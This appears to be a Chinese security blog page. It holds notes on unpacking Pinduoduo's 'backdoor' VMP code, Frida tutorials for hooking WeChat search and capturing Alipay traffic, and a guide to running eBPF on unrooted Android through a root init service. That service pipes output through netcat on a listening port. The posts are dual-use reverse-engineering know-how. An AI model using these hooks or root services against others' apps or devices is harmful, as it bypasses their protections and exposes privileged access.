add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/f", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/g", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/g", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/e", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/e", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/h", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/h", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/i", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/i", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/j", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/j", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_impl_interface/utils/AliveStartUpConstants", "KEY_SCENE", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_impl_interface/utils/AliveStartUpConstants", "KEY_START_ACC_BY_RIVAN", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_impl_interface/utils/AliveStartUpConstants", "KEY_USE_SETTINGS_ACCOUNT", DESC_NOTFOUND);
add("java/lang/Integer", "TYPE", wrap("java/lang/Class"));
add("java/lang/Long", "TYPE", wrap("java/lang/Class"));
add("java/nio/charset/StandardCharsets", "UTF_8", DESC_STRING);
add("java/util/Locale", "ENGLISH", wrap("java/util/Locale"));
add("java/util/concurrent/TimeUnit", "MILLISECONDS", wrap("java/util/concurrent/TimeUnit"));
add("java/util/concurrent/TimeUnit", "SECONDS", wrap("java/util/concurrent/TimeUnit"));
add("java/util/concurrent/TimeUnit", "MICROSECONDS", wrap("java/util/concurrent/TimeUnit"));
add("com/xunmeng/pinduoduo/alive/unify/ability/interfaces/schema/ryze/RyzeRequest", "uri", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/g", "b", DESC_STRING);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/g", "a", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "SCREEN_ON", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "USER_PRESENT", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "SCREEN_OFF", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "FP_PERM_READY", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("java/io/File", "separator", DESC_STRING);
add("java/io/File", "separatorChar", DESC_CHAR);
add("android/content/pm/ProviderInfo", "name", DESC_STRING);
add("java/util/concurrent/TimeUnit", "HOURS", wrap("java/util/concurrent/TimeUnit"));
add("java/util/concurrent/TimeUnit", "NANOSECONDS", wrap("java/util/concurrent/TimeUnit"));
add("android/os/Message", "obj", wrap("java/lang/Object"));
add("android/view/WindowManager$LayoutParams", "alpha", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "mode", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "recoverEnable", DESC_BOOLEAN);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "PDD_ID_CONFIRM", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "blackScene", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "blackResultType", wrap("com.xunmeng.pinduoduo.alive.strategy.interfaces.adapter.intf.msc.BlackResultType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/msc/BlackResultType", "TRUE", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/msc/BlackResultType"));
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "specificCmptList", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "mainProcPullUpCmptBlackList", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "pullUpCmptBlackList", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/biz/boush/BoushConfig", "trackExpKey", wrap("java/lang/String"));
add("java/util/Locale", "CHINA", wrap("java/util/Local"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "START_SKY_CASTLE", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "DPPL_EVENT", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "ITDM_EVENT", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("android/content/pm/PackageInfo", "applicationInfo", wrap("android/content/pm/ApplicationInfo"));
add("android/content/pm/ActivityInfo", "applicationInfo", wrap("android/content/pm/ApplicationInfo"));
add("android/content/pm/PackageInfo", "packageName", DESC_STRING);
add("android/content/pm/PackageInfo", "activities", "[Landroid/content/pm/ActivityInfo");
add("android/content/pm/PackageInfo", "services", "[Landroid/content/pm/ServiceInfo");
add("android/content/pm/PackageInfo", "receivers", "[Landroid/content/pm/ActivityInfo");
add("android/content/pm/PackageInfo", "signatures", "[Landroid/content/pm/Signature");
add("android/content/pm/PackageInfo", "requestedPermissions", "[java/lang/String");
add("android/content/pm/PackageInfo", "firstInstallTime", DESC_LONG);
add("android/content/pm/ApplicationInfo", "metaData", wrap("android/app/Bundle"));
add("android/net/wifi/ScanResult", "SSID", DESC_STRING);
add("android/net/wifi/ScanResult", "BSSID", DESC_STRING);
add("android/net/wifi/ScanResult", "level", DESC_INT);
add("android/net/wifi/WifiConfiguration", "SSID", DESC_STRING);
add("android/net/wifi/WifiConfiguration", "BSSID", DESC_STRING);
add("android/net/wifi/WifiConfiguration", "FQDN", DESC_STRING);
add("android/net/wifi/WifiConfiguration", "hiddenSSID", DESC_BOOLEAN);
add("android/net/wifi/WifiConfiguration", "providerFriendlyName", DESC_STRING);
add("android/content/res/Configuration", "locale", wrap("java/util/Locale"));
add("android/app/ActivityManager$RunningServiceInfo", "process", DESC_STRING);
add("android/content/pm/PackageInfo", "providers", "[Landroid/content/pm/ProviderInfo");
add("android/content/pm/ProviderInfo", "authority", DESC_STRING);
add("android/content/pm/ProviderInfo", "packageName", DESC_STRING);
add("android/content/pm/ProviderInfo", "metaData", DESC_STRING);
add("android/content/pm/ProviderInfo", "readPermission", DESC_STRING);
add("android/content/pm/ProviderInfo", "processName", DESC_STRING);
add("android/content/pm/ProviderInfo", "grantUriPermissions", DESC_BOOLEAN);
add("com/xunmeng/pinduoduo/galaxy/plugin/location_info/tracker/VivoTracker", "fpSceneSet", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "ON_FOREGROUND", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "STARTUP_IDLE", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "DIEL_EVENT", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "STOP_SKY_CASTLE", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("android/content/pm/ServiceInfo", "permission", DESC_STRING);
add("android/content/pm/ServiceInfo", "enabled", DESC_BOOLEAN);
add("android/content/pm/ServiceInfo", "exported", DESC_BOOLEAN);
add("android/graphics/Rect", "top", DESC_INT);
add("android/graphics/Rect", "left", DESC_INT);
add("android/content/pm/ApplicationInfo", "packageName", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "BACKGROUND_1MIN_TIMER", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("android/app/ActivityManager$RunningAppProcessInfo", "processName", DESC_STRING);
add("android/app/ActivityManager$RunningAppProcessInfo", "importance", DESC_INT);
add("android/app/ActivityManager$RunningAppProcessInfo", "pid", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "SCREEN_RECORD_START", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "SCREEN_RECORD_STOP", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("java/lang/System", "out", wrap("java.io.PrintStream"));
add("android/view/WindowManager$LayoutParams", "layoutInDisplayCutoutMode", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "delayToNextSceneInMs", DESC_INT);
add("android/os/Message", "replyTo", wrap("android/os/Messenger"));
add("android/app/Notification", "contentIntent", wrap("android/content/Intent"));
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/ability/ReportInfoItem", "infoType", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/ability/ReportInfoItem", "dataField", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/ability/ReportInfoItem", "isDataArray", DESC_BOOLEAN);
add("android/app/Notification", "extras", wrap("android/app/Bundle"));
add("android/graphics/Bitmap$CompressFormat", "PNG", DESC_INT);
add("android/graphics/Bitmap$CompressFormat", "JPEG", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "ON_BACKGROUND", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/threadpool/ThreadBiz", "BC", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/threadpool/ThreadBiz"));
add("android/os/Environment", "DIRECTORY_DOWNLOADS", DESC_STRING);
add("com/xunmeng/pinduoduo/galaxy/plugin/location_info/tracker/XiaomiTracker", "fpSceneSet", wrap("java/util/Set"));
add("android/content/pm/ApplicationInfo", "nativeLibraryDir", DESC_STRING);
add("android/content/pm/ApplicationInfo", "publicSourceDir", DESC_STRING);
add("android/content/pm/ResolveInfo", "providerInfo", wrap("android/content/pm/ProviderInfo"));
add("com/xunmeng/pinduoduo/galaxy/plugin/location_info/tracker/HonorTracker", "fpSceneSet", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "retryIfScreenOff", DESC_BOOLEAN);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "checkResultDelayInMs", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "retryDelayInMs", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "silentIntervalWhenFailInMin", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "maxStartLimitInSilentInterval", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "silentIntervalInMin", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "acceptedTriggerEvents", DESC_INT);
add("android/app/ActivityManager$RunningAppProcessInfo", "uid", DESC_INT);
add("com/xunmeng/pinduoduo/galaxy/plugin/location_info/tracker/OppoTracker", "fpSceneSet", wrap("java/util/Set"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "POWER_CONNECTED", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType")); //TODO
add("com/xunmeng/pinduoduo/alive/strategy/biz/plugin/purgeV2/ProviderSceneConfig", "retryCnt", DESC_INT);
add("com/xunmeng/pinduoduo/alive/unify/ability/framework/schema/common/IntentRequest", "caller", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/config/CollectorConfigItem", "infoType", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/config/CollectorConfigItem", "dataField", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/unify/ability/dynamic/abilities/dataCollect/config/CollectorConfigItem", "isDataArray", DESC_BOOLEAN);
add("android/net/DhcpInfo", "gateway", DESC_INT);
add("android/provider/ContactsContract$CommonDataKinds$Phone", "CONTENT_URI", wrap("android/net/Uri"));
add("com/xunmeng/pinduoduo/alive_adapter_sdk/BotMMKV$BotMMKVModuleSource", "HX", wrap("com/xunmeng/pinduoduo/alive_adapter_sdk/BotMMKV$BotMMKVModuleSource"));
add("com/xunmeng/pinduoduo/alive_adapter_sdk/BotMMKV$BotProcessMode", "multiProcess", wrap("com/xunmeng/pinduoduo/alive_adapter_sdk/BotMMKV$BotProcessMode"));
add("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType", "SHORTCUT", wrap("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType"));
add("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType", "WIDGET", wrap("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType"));
add("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType", "MINUS_SCREEN_DETECT", wrap("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType"));
add("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType", "LAUNCHER", wrap("com/xunmeng/pinduoduo/market_common/plugin/IPluginAbility$AbilityType"));
add("com/xunmeng/pinduoduo/smart_widget_plugin/minus_screen/vivo/VivoMinusScreenDetectV28", "mContext", wrap("android/content/Context"));
add("com/xunmeng/pinduoduo/smart_widget_plugin/minus_screen/vivo/VivoMinusScreenDetect", "isInMinusScreen", DESC_BOOLEAN);
add("android/content/pm/LauncherApps$PinItemRequest", "CREATOR", wrap("android/os/Parcelable$CREATOR"));
add("android/appwidget/AppWidgetProviderInfo", "provider", wrap("android/content/ComponentName"));
add("com/xunmeng/pinduoduo/smart_widget_plugin/minus_screen/xm/XmMinusScreenDetect", "isInMinusScreen", DESC_BOOLEAN);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/f", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/f", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/k", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/android_pull_ability_comp/pullstartup/k", "b", DESC_NOTFOUND);

analyzeUtf8ToClazz:将部分opcode中使用的utf-8类型转换为classinfo

patchForFieldAndMethod:将VMP_FIELD_REF和VMP_METHOD_REF类型转换为JVM格式

writeClazzes

1
2
3
4
5
6
7
8
9
10
public void writeClazzes(String dir) throws IOException {
for (ManweVmpClazz manweVmpClazz : manweVmpClazzes) {
System.out.println("start write " + manweVmpClazz.clazzName);
Path targetPath = Paths.get(dir + File.separator + manweVmpClazz.clazzName + ".class");
Files.createDirectories(targetPath.getParent());
OutputStream fos = Files.newOutputStream(targetPath, StandardOpenOption.WRITE, StandardOpenOption.CREATE);
writeClazz(manweVmpClazz, new DataOutputStream(fos));
fos.close();
}
}

将manwe的bin文件解析完毕后,通过ManweVmpDex的writeClazz输出为class文件,详细过程就不再赘述了。

总结

Manwe的文件结构如下图所示:

阅读脱壳机代码的时候总是隐隐感觉像是内部人士写出来的,很多细节不像是单纯逆向能弄得这么清楚的。只能说多行不义必自毙吧。

参考文献

https://github.com/davinci1012/pinduoduo_backdoor_unpacker

Frida使用记录——搜索微信小程序

发表于 2023-03-03

问题背景

最近在研究小程序相关的安全问题,需要批量搜索、获取各端小程序。微信小程序之前可以直接使用subsearch的API来获取小程序的信息(虽然cookie有效期有点短)。但是现在新版的微信改用了其他方式,旧版微信也搜索不到小程序了,这个api似乎确凿是关闭了,因此需要另找一个比手动搜索效率更高的方式。

尝试思路

第一反应当然是看看换成什么别的API了,但是出乎意料的是,旧版微信上非常容易抓的包在新版中居然一个都见不到了,尝试了no_sslpinning和vpn转发的方式也没什么效果。约莫又是用了什么神奇的协议。
但是好在hooking可以一力破万法,不管什么协议总有个获取明文的地方,接下来就一头扎进代码开始逆向。

逆向寻找调用点

进入微信小程序的搜索界面,看看对应的activity:com.tencent.mm.plugin.webview.ui.tools.fts.MMFTSSearchTabWebViewUI
很好,看看里面代码长什么样:

评价为是空空如也。
换个思路,试试直接hook socket相关的类:

调用栈里可以说是一点线索没给留下。但是不要气馁,在刚刚的初步逆向中可以发现,微信里大量调用了一个MicroMsg开头的log(com.tencent.mm.sdk.platformtools.Log),hook这个类想必能打印出很多信息(实际上有点太多了)。经过漫长的筛选,发现这样一条记录:

一眼看出这就是客户端获取的查询结果,那么看看调用栈中的com.tencent.mm.plugin.websearch.n$c,这个类应该是n的一个内部类,在处理返回包的时候run函数被安卓生命周期调用,因此调用栈里信息不足。
虽然我们直接hook它的构造函数,可以得到更早的调用信息,但是这整个流程都是处理服务器response的回调,继续追踪下去意义不大(血泪教训)。

既然已经得到了获取返回值的函数,只需要寻找触发这一流程的起点,就可以实现自动化搜索小程序。
思路清晰之后,不难想到,我们需要找到这个搜索按钮的onlick函数。这个onClick必定在当前activity里面注册了onClickListener,既然我们看到的activity里面没东西,那么肯定是在父类里注册的。它的父类是com.tencent.mm.plugin.webview.ui.tools.fts.FTSSearchTabWebViewUI:

细细一看也没有什么相关逻辑,只有一个取消的按钮。

那么再看看父类的父类com.tencent.mm.plugin.webview.ui.tools.fts.FTSBaseWebViewUI:

混淆比较严重,但是没关系,我们用objection直接hook所有函数,看看点击按钮的时候是哪个被触发了。结果来说,直接相关的只有p8,其中一眼就能看到这么一段代码:

q3是一个WebSearchView类型的成员,那么毫无疑问,它的FtsEditText就是我们的搜索框。getFtsEditText()返回的类是com.tencent.mm.ui.search.FTSEditTextView,看包名感觉离我们的目标已经很接近了。
这个类注册了好几个onClickListener,逐一排查之后,终于找到了我们追寻已久的按钮

经过测试,直接调用这个onClick函数的效果与我们手动点击是一样的,因此只需要在这里传入我们想搜索的关键字,再在之前找到的log里去取返回结果,我们就能完成小程序的自动化搜索。

编写Frida脚本

1.触发onClick,这里需要传一个View当参数,我们用Java.choose找到当前的activity,用findViewById就能拿到这个button。(button的id在之前的逆向里已经通过getId()获取)

2.传入我们想要的关键字。FTSEditTextView类通过getInEditTextQuery()和getTotalQuery()获取text的文本,hook这两个函数把返回值改为我们想要的值。

3.从Log里读取返回结果。

相关脚本已经整理在本人的github:https://github.com/realvegechick/FridaRepository/tree/main/WeChatMiniAppSearcher

很可惜返回值里并没有appid,因此要批量下载的话还是需要结合uiautomator进行模拟点击。

Frida使用记录——对支付宝进行抓包

发表于 2023-02-16

问题背景

最近在研究小程序相关的安全问题,需要对各端小程序进行抓包。微信能简单地使用burpsuite捕获,非常方便,但是支付宝却一个包都抓不到,因此在这里做一个记录。

尝试思路

首先当然是看看别人怎么做这个问题的。在网上找了一些帖子,解决方案分为两种:

  1. 应用并不连接系统代理,因此可以通过vpn软件(我尝试的是drony)强行让应用的流量走代理。
    &emsp;这个方法对于一般的应用应该还是挺有效的,但是当我尝试抓支付宝的时候发现,虽然能看到一些包了,但是应用变得很卡,小程序也完全打不开,不知道是vpn的延迟太高被检测了还是支付宝有什么其他的安全措施。
  2. 支付宝使用mtop sdk进行网络通信,修改其中的一些配置令其降级就能抓包。
    &emsp;hook mtopsdk.mtop.global.SwitchConfig.isGlobalSpdySwitchOpen函数,让它永远返回0。但是帖子是19年的,如今用不了了也只能说毫不意外吧。

既然现有的方法都派不上用场了,就只能自己看看支付宝的代码是怎么写的了。

逆向网络SDK

有一位前辈说过一个非常好的逆向思路:从头尾两个方向开始尝试。那么先hook一下socket看看调用栈,很快就能定位发包相关的逻辑:

返回值就是我们需要的response,因此hook这个地方就能解决抓包的问题。

编写Frida脚本

该函数可以调用同一个类下的getOriginRequest()方法获取发送的请求包,并且函数自己的返回值即为返回包。但是还有一点小小的问题:httpResponse的内容只能读取一次,我们自己读掉了应用就读不了了。尝试了各种方法都没能解决,最后只能采取最简单粗暴的方法:发送两次request,一次用来打印,另一次用来返回。反正tcp重传也是很正常的事情,应该没什么影响。
具体脚本参见:https://github.com/realvegechick/FridaRepository/tree/main/AlipayCapture
一点不足之处就是不能修改response的内容,估计需要重新生成一个response类,怪麻烦的。目前这个脚本已经能够实时显示往来的流量,并且保存在/data/local/tmp/pcap/raw.txt里面,满足了查看流量的需求。

参考资料

  1. socket抓包:http://missking.cc/2021/05/04/zhuabao/
  2. (过时的)支付宝mtop降级脚本:https://zhangslob.github.io/2019/11/27/%E6%8A%93%E5%8C%85%EF%BC%9A%E6%B7%98%E5%AE%9D%E3%80%81%E6%94%AF%E4%BB%98%E5%AE%9D/
  3. 使用vpn强制转发流量:https://www.cnblogs.com/lulianqi/p/11380794.html#%E8%AF%81%E4%B9%A6%E6%A0%A1%E9%AA%8C%E5%8E%9F%E7%90%86

Android12无root使用eBPF

发表于 2023-01-31

eBPF介绍

eBPF(extended Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。在出厂版本高于Android12的内核上,谷歌都要求加入eBPF作为安卓内核原生的一部分,因此eBPF具有开销低、无感知等等优点。除了固定的tracepoint之外,还提供kprobe追踪内核指令、uprobe追踪用户态程序,追踪非常灵活全面。
想要在安卓上开发自定义的eBPF程序,除了自己写源码手动编译并整合进系统外,也可以选择BCC或者bpftrace这样的现成工具。但是这两个工具都需要系统具有root权限,同时也不利于我们对eBPF的实现有一个较为深入的认识,因此本文将采取手动编译的方式使用eBPF。

Kernel-side与User-side程序


根据安卓官方的介绍,在 Android 启动期间,系统会加载位于 /system/etc/bpf/ 的所有 eBPF 程序。这些程序是 Android 构建系统根据 C 程序构建而成的二进制对象,并附带了 Android 源代码树中的 Android.bp 文件。构建系统将生成的对象存储在 /system/etc/bpf 中,这些对象将成为系统映像的一部分。

因此,使用eBPF需要分为两步:

  1. 编写内核态的eBPF程序,编译后储存在/system/etc/bpf/目录
  2. 编写用户态的eBPF程序,访问bpfmap以读取内核态程序的输出

具体如何编写网上已经有充足的教程,本文不再赘述,这里推荐一篇我自己参考的文章:https://pshocker.github.io/2022/06/18/Android-eBPF%E7%9B%91%E6%8E%A7%E6%89%80%E6%9C%89%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/

非特权使用eBPF

内核态程序本身就具有root权限;而用户态程序想要读取bpfmap,就必须具有root权限。接下来是本文的主要内容:如何在一台不进行root的手机上使用eBPF。

最初我进行的尝试是先使用magisk获取临时root,进行必要配置之后还原成没有root的镜像。主要思路是赋予用户态程序的可执行文件suid权限,在运行时将自己变成root,并且也确实能够将自己的euid甚至ruid改为root,但是读取bpfmap时仍提示权限不足。翻阅相关资料之后发现,除了权限之外,安卓系统还有一套capabilities的访问控制机制,其中就包括控制bpfmap读取权限的CAP_BPF。而运行程序时,会将调用者和被调用文件的capabilities做一个与操作,也就是只取两者较低的权限,因此这个方法无法达到我们想要的效果。

失败之后,决定另辟蹊径,思考如何在非root手机上获取真正的root。在这里我主要受到了magisk获取root权限的方式的启发:与传统linux的su不同,magisk 在开机后会启动一个高权限 root 用户的进程 magiskd,调用 su 会通过 socket 连接到 magiskd,然后在 magiskd 进程中执行命令。那么我们也可以对系统进行类似的修改,启动一个真正的root进程,并与其通信以完成对bpfmap的读取。

由于我们可以对系统进行修改,获取特权进程并非难事:init.rc中规定了系统启动时会触发的一系列服务,此时使用的权限就是root权限,我们可以将我们的程序注入system/core/rootdir/init.rc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#定义service
service myroot /system/bin/myroot.sh
class main
# class 包括core main late_start等,可以不设置。默认default
user root
# 用户属性,默认root,一般给root即可,权限最大
group root
# 所属组,默认root
disabled
# disabled 即通过class不能启动,只能start screencap 这种name的方式启动
oneshot
# 只运行一次

#启动条件
on property:sys.boot_completed=1
start myroot

这样,系统便会在启动后调用我们存放在/system/bin/myroot.sh的脚本,其内容如下:

1
2
3
4
5
6
#!/bin/sh
while true
do
/system/bin/bpf_cli|nc 0.0.0.0 23334
sleep 1
done

这样,该进程便会陷入死循环,等待本地23334端口的连接,执行用户态bpf程序/system/bin/bpf_cli并传出程序的输出。

配置完成后,我们便可以通过一个普通进程连接23334端口,从而以root权限执行bpf用户态程序,实现在非root的环境里使用eBPF。值得一提的是,要使该进程能够在启用SELinux的环境下执行相应功能,我们还需要对sepolicy进行修改,主要流程大致如下:
0. 在system/sepolicy/private/file_contexts里加入对相关文件的记录:

1
2
/system/bin/myroot.sh      u:object_r:myroot_exec:s0
/system/bin/bpf_cli u:object_r:myroot_exec:s0

创建system/sepolicy/private/myroot.te,写入如下内容:

1
2
3
4
type myroot, domain, coredomain;
type myroot_exec, exec_type, file_type, system_file_type;

init_daemon_domain(myroot)

(注意此处要同时修改system/sepolicy/prebuilts/api/32.0/private/file_contexts和system/sepolicy/prebuilts/api/32.0/private/myroot.te,否则无法通过编译)

  1. 将SELinux设置为permissive
  2. 执行程序,在dmesg里寻找所有相关的avc denied记录
  3. 将记录输入audit2allow,将输出增添至myroot.te
  4. 重复2-3直到不再有新的报错,将将SELinux设置为enforcing

参考文章

  1. 安卓官方eBPF介绍(https://source.android.com/docs/core/architecture/kernel/bpf?hl=zh-cn)
  2. 编写并编译eBPF程序(https://pshocker.github.io/2022/06/18/Android-eBPF%E7%9B%91%E6%8E%A7%E6%89%80%E6%9C%89%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/)
  3. 新增具有root权限的开机服务(http://www.shibaking.com/blog/2020-03-16-Android8.1%E4%B8%8B%E6%96%B0%E5%A2%9E%E5%BC%80%E6%9C%BA%E6%9C%8D%E5%8A%A1.html)
  4. 修改sepolicy(https://www.codeleading.com/article/90661709951/)

7 日志
© 2023 Vec
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4